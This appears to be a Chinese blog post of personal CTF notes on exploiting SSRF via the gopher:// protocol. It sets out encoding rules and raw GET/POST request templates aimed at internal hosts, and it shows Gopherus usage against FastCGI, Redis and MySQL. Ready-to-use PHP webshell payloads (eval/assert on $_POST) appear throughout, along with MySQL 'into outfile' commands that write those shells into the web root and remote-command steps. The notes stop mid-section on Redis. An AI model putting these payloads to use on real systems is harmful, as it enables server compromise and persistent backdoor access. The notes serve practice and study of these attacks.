0
点赞
收藏
分享

微信扫一扫

钡铼技术R40工业4G路由器为户外广告牌智能控制系统提供无线网络

基础知识

基本格式

基本格式:URL:gopher://<host>:<port>/<gopher-path>
  • web也需要加端口号80
  • gophert协议默认端口为70
  • gopheri请求不转发第一个字符

Snipaste_2024-02-26_20-44-17.png

get请求

  • 问号(?)需要转码为URL编码,也就是%3f
  • 回车换行要变为%0d%0a,但如果直接用工具转,可能只会有%0a
  • 在HTTP包的最后要加%0d%0a,代表消息结束(具体可研究HTTP包结束)
  • URL编码改为大写,冒号注意英文冒号
  • 如果使用BP发包需要进行两次u编码
  • GET提交最后需要增加一个换行符
gopher://127.0.0.1:80/_
GET /get.php?a=hello HTTP/1.1
Host: 127.0.0.1

为什么bp要进行两次url编码

curl_exec()造成的SSRF,gopher协议需要使用二次URLEncode;
而file_get_contents()造成的SSRF,gopher协议就不用进行二次URLEncode

Snipaste_2024-02-27_16-42-33.png

post请求

需要注意的是,post请求有4个参数为必要参数。

gopher://127.0.0.1:80/_
POST /post.php HTTP/1.1
host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 7

a=hello

当我们不得不添加别的参数

Cookie

POST /index.php HTTP/1.1
Host: localhost:80
Cookie: PHPSESSID=1f546328759632456215236845122365
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 24

uname=admin&passwd=admin

xxe

[[xxe]]
Snipaste_2024-02-28_00-02-21.png

sql-get

[[sql注入]]
注意不要使用+当做空格,就页面里面用%20,bp或hackbar用%2520
[外链图片转存中…(img-kwRcQIhN-1711552424782)]

sql-post

[[sql注入]]
[外链图片转存中…(img-yt5YfBVj-1711552424782)]

文件上传

[[文件上传]]

前置知识

image.png

如何构造payload

Snipaste_2024-02-28_09-26-53.png

Snipaste_2024-02-28_09-30-34.png

使用

假设172.6.0.1:80页面有文件上传

gopher://172.6.0.1:80/_

Snipaste_2024-02-28_09-32-18.png

文件包含

[[文件包含]]
Snipaste_2024-02-28_09-41-18.png

Gopherus工具

使用范围

目前支持生成payload应用有:
MySQL (Port:3306)
FastCGI (Port:9000)
Memcached (Port:11211)
Redis (Port:6379)
Zabbix (Port:10050)
SMTP (Port:25)

RCE

python2 gopherus.py –exploit fastcgi(写支持的名字,如fastcgi,redis,mysql)
/var/www/html/index.php             //?url= 页面的具体目录

ls
ls /
cat /flag.php

webshell

python2 gopherus.py –exploit fastcgi
/var/www/html/index.php           //?url= 页面的具体目录

echo "<?php eval(\$_POST[123]);?>" >1.php     //$_POST[]里面不能是字母,前面的 \ 不可少! 就用这个,别改就行!!!
    
python2 gopherus.py –exploit redis
PHPShell				//这里有两个选项:ReverseShell应该是反弹shell  PHPshell(填php也行)就是webshell了
/var/www/html/index.php 
 
<?php eval($_POST["aaa"])?>  //redis好像和fastcgi不同,他的webshell不能用,redis的POST里面是字母,他的是数字  用这个,                              //别改就行

mysql

不使用工具生成的话去看图片笔记

条件

因为是使用into outfile函数写入的,有一下限制
[[mysql-文件读写#1.13.3. 写文件]]

Snipaste_2024-02-28_15-38-04.png

常规使用

python2 gopherus.py --exploit mysql

select "<?php @assert($_POST['t']);?>" into outfile '/var/www/html/1.php';

select "<?php @eval($_POST['t']);?>" into outfile '/var/www/html/4.php';

select load_file("/flag");

Snipaste_2024-02-28_15-42-32.png

UDF 提权

https://www.sqlsec.com/udf/

redis未授权

如果对方有网站,

举报

相关推荐

0 条评论